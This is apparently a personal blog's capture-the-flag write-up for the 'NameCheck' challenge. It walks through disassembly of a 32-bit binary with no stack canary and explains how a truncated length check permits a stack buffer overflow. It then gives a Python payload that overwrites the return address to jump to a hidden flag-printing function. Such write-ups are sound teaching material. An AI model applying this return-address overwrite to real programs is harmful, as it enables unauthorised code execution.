AHCTF2021: NameCheck

For the birds

It has been a while since I have blogged. The importance of doing so has not been absent only outweighed by the inertia(that dread to begin). This is the start of an attempt to put more of my thoughts on e-paper. I also maintain a telegram space where I dump materials/resources I encounter as I go along.



Checksec

[*] '/home/levanto/Documents/Return-To-ROP/ChasingFlags/AHCTF/finals/namecheck'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

.rodata

Contents of section .rodata:
 80486d8 03000000 01000200 2f62696e 2f636174  ......../bin/cat
 80486e8 20666c61 6700456e 74657220 796f7520   flag.Enter you
 80486f8 6e616d65 3a200050 61727369 6e672074  name: .Parsing t
 8048708 68652075 7365726e 616d6520 004e616d  he username .Nam
 8048718 65206d65 65747320 7374616e 64617264  e meets standard
 8048728 732e2042 7965203a 29000000 4e616d65  s. Bye :)...Name
 8048738 20666169 6c656420 746f206d 65657420   failed to meet
 8048748 7374616e 64617264 732e2042 79653a29  standards. Bye:)
 8048758 00  
  • /bin/cat flag @ 0x80486e0

Let’s create a fake flag file:

echo "Pwn3d{1337_fake_flag}" > flag


Interesting functions (readelf --syms namecheck)

  • main
  • parseName @ 0x0804855b

systemCheck @ 0x0804859f

This function is not called anywhere within main or parseName.

It prints the contents of a flag file

TARGET FOUND: This is where we want to be!

...
80485a8:       68 e0 86 04 08          push   0x80486e0 ; /bin/cat flag 
80485ad:       e8 5e fe ff ff          call   8048410 <system@plt>
...

main @ 0x080485b8

Takes user input of max size 0x191(401 bytes). Calls parseName on the input

...
; Get user input --> fgets(*buf=ebp-0x19c, count=0x191, fd=0)
 80485f1:       50                      push   eax
 80485f2:       68 91 01 00 00          push   0x191
 80485f7:       8d 85 64 fe ff ff       lea    eax,[ebp-0x19c]
 80485fd:       50                      push   eax
 80485fe:       e8 ed fd ff ff          call   80483f0 <fgets@plt>
 8048603:       83 c4 10                add    esp,0x10
 8048606:       83 ec 0c                sub    esp,0xc
 8048609:       68 ff 86 04 08          push   0x80486ff
 804860e:       e8 ed fd ff ff          call   8048400 <puts@plt>
 8048613:       83 c4 10                add    esp,0x10
 8048616:       83 ec 0c                sub    esp,0xc
 ; call parseName(ebp-0x19c)
 8048619:       8d 85 64 fe ff ff       lea    eax,[ebp-0x19c]
 804861f:       50                      push   eax
 8048620:       e8 36 ff ff ff          call   804855b <parseName>
...

parseName(str input) @ 0x0804855b

This function checks the input length and does a memcpy if the condition is met(see instr @ 0x80485f2).

Note: Input is pushed to the stack before this function is called. Accessed in the local frame via (ebp+0x8)

0804855b <parseName>:
; From the sp, we calculate the return addr of parseName: 0x28(stack size) + 0x8(ebp) = 0x30
 804855b:       55                      push   ebp
 804855c:       89 e5                   mov    ebp,esp
 804855e:       83 ec 28                sub    esp,0x28 <- Stack size
 8048561:       83 ec 0c                sub    esp,0xc
 8048564:       ff 75 08                push   DWORD PTR [ebp+0x8]
 8048567:       e8 b4 fe ff ff          call   8048420 <strlen@plt>
 804856c:       83 c4 10                add    esp,0x10
 804856f:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048572:       8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 8048575:       83 c0 01                add    eax,0x1
 
 ; To get to the memcpy branch; the lower bytes of the len have to be 0x14. A len of 0x114(276 bytes) would work and be within the 0x191 fgets limit(check main at 0x80485f2)
 8048578:       3c 14                   cmp    al,0x14
 804857a:       76 07                   jbe    8048583 <parseName+0x28>
 804857c:       b8 00 00 00 00          mov    eax,0x0
 8048581:       eb 1a                   jmp    804859d <parseName+0x42>
 8048583:       83 ec 04                sub    esp,0x4
 
 ; Input is copied from the global stack(remember it was pushed right before we called `parseName`) to local stack at ebp-0xc.
 ; This means we get to the ret addr from the input at offset 0x30 - 0xc = 0x24(36 bytes)
 8048586:       ff 75 f4                push   DWORD PTR [ebp-0xc] 
 8048589:       ff 75 08                push   DWORD PTR [ebp+0x8]
 804858c:       8d 45 e0                lea    eax,[ebp-0x20]
 804858f:       50                      push   eax
 8048590:       e8 4b fe ff ff          call   80483e0 <memcpy@plt>
 8048595:       83 c4 10                add    esp,0x10
 8048598:       b8 01 00 00 00          mov    eax,0x1
 804859d:       c9                      leave
 804859e:       c3                      ret

Let’s pwn

We want to jump to systemCheck @ 0x0804859f. In little endian: \x9f\x85\x04\x08

offset = 36
payload_size = 275 # This is 0x114 - 1 to account for the \n termination. 0x114 will satisfy the conditional check at 0x8048578

payload = b"A" * 36 # junk to get to the ret addr
payload += b"\x9f\x85\x04\x08"

# junk to pad to 275
trail_pad_len = payload_size - len(payload)
payload += b"A" * trail_pad_len

BHMEACTF22: Secret

A review: The Pragmatic Programmer

comments powered by Disqus